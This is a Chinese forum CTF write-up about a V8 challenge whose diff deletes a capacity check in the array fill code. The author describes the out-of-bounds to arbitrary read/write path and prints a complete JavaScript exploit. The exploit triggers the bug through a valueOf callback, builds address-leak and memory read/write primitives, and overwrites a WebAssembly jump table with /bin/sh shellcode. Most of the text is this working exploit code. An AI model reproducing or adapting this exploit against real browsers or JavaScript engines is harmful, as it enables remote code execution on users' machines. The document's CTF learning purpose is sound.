完全0基础做题,乱做的。
看diff:
diff --git a/src/objects/elements.cc b/src/objects/elements.cc index 6e5648d2f4..5e259925dc 100644 --- a/src/objects/elements.cc +++ b/src/objects/elements.cc @@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> { } // Make sure we have enough space. - uint32_t capacity = - Subclass::GetCapacityImpl(*receiver, receiver->elements()); - if (end > capacity) { - Subclass::GrowCapacityAndConvertImpl(receiver, end); - CHECK_EQ(Subclass::kind(), receiver->GetElementsKind()); - } DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements())); for (uint32_t index = start; index < end; ++index) {
删除了FastElementsAccessor中关于fill实现部分的check代码。
然后就开始找v8的相关资料看,看了两天,有个大致的概念。
通常大概思路是OOB->AAR/AAW->get shell或者其它。
但是怎么触发漏洞呢,试了好久也没成功,没办法真正0基础啊,不会写js,只能copy代码,能触发才怪。我太难了。
放了两天,因为队友发我的一个链接,我又拿起来了,然后稀里糊涂就做出来了。
其中谈到了如下代码:
array = []; array.length = 0xffffffff; b = array.fill(1.1, 0, {valueOf() { array.length = 32; array.fill(1.1); return 0x80000000; }});
但是他针对的fill部分代码与本题并不一样,但同样适用。我想应该还有其它更简单的触发方式吧。于是直接copy了完整poc,改吧改吧,竟然就成功了。原POC bug好像有点多。
上面代码可实现一次OOB的写,稍加修改就可以修改array的length,造成真正意思上的OOB。
提前在array后布置一个空的数组ptr_leak_object和一个BigUint64Array数组arbirary_access_array,ptr_leak_object用于leak对象地址,arbirary_access_array用于AAR/AAW。
修改array的length为一个比较大的值(不用太大,使arbirary_access_array,ptr_leak_object在其Elements范围内就行)。将对象引用设置ptr_leak_object的元素,则可通过array读出地址实现Leak;通过array更改ptr_leak_object的elements地址,则可实现任意地址的8字节的读可写。最后使用wasm的方式,得到可执行的内存区域,替换代码为shellcode实现get shell。
代码如下:
let data_view = new DataView(new ArrayBuffer(8)); reverseDword = dword = >{ data_view.setUint32(0, dword, true); return data_view.getUint32(0, false); }; reverseQword = qword = >{ data_view.setBigUint64(0, qword, true); return data_view.getBigUint64(0, false); }; floatAsQword = float = >{ data_view.setFloat64(0, float); return data_view.getBigUint64(0); }; qwordAsFloat = qword = >{ data_view.setBigUint64(0, qword); return data_view.getFloat64(0); }; let oob_access_array; let ptr_leak_object; let arbirary_access_array; let ptr_leak_index; let external_ptr_index; let external_ptr_backup; const MARKER = 0x31337; leakPtr = obj = >{ ptr_leak_object[0] = obj; return floatAsQword(oob_access_array[ptr_leak_index]); }; getQword = address = >{ oob_access_array[external_ptr_index] = qwordAsFloat(address); return arbirary_access_array[0]; oob_access_array[external_ptr_index] = external_ptr_backup; }; setQword = (address, value) = >{ oob_access_array[external_ptr_index] = qwordAsFloat(address); arbirary_access_array[0] = value; oob_access_array[external_ptr_index] = external_ptr_backup; }; getField = (object_ptr, num, tagged = true) = >object_ptr + BigInt(num * 8 - (tagged ? 1 : 0)); setBytes = (address, array) = >{ for (let i = 0; i < array.length; ++i) { setQword(address + BigInt(i), BigInt(array[i])); } }; function hex(i) { return i.toString(16).padStart(16, "0"); }; triggerOob = () = >{ array = []; array.length = 0xffffffff; ptr_leak_object = {}; tmp = new BigUint64Array(1); oob_access_array = array.fill(1.390671161567e-309, 0x80000000 - 99, { valueOf() { array.length = 32; array.fill(1.1); arbirary_access_array = new BigUint64Array(1); return 0x80000000 - 98; } }); ptr_leak_object[0] = MARKER; arbirary_access_array[0] = BigInt(0xdeadbeef); arbirary_access_array.buffer; }; findOffsets = () = >{ let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n); for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length; ++ptr_leak_index) { if (oob_access_array[ptr_leak_index] === markerAsFloat) { break; } } if (ptr_leak_index === oob_access_array.length) { console.log("Couldn't locate the offsets"); } external_ptr_index = 56; external_ptr_backup = oob_access_array[external_ptr_index]; }; runCalc = () = >{ const wasm_code = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x0b]); const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code)); const wasm_func = wasm_instance.exports.a; var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n]; wasm_instance_ptr = leakPtr(wasm_instance); const jump_table = getQword(getField(wasm_instance_ptr, 16)); setQword(jump_table, shellcode[0]); setQword(jump_table + BigInt(8), shellcode[1]); setQword(jump_table + BigInt(16), shellcode[2]); wasm_func(); }; triggerOob(); findOffsets(); runCalc();
[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!
最后于 9小时前 被poyoten编辑 ,原因: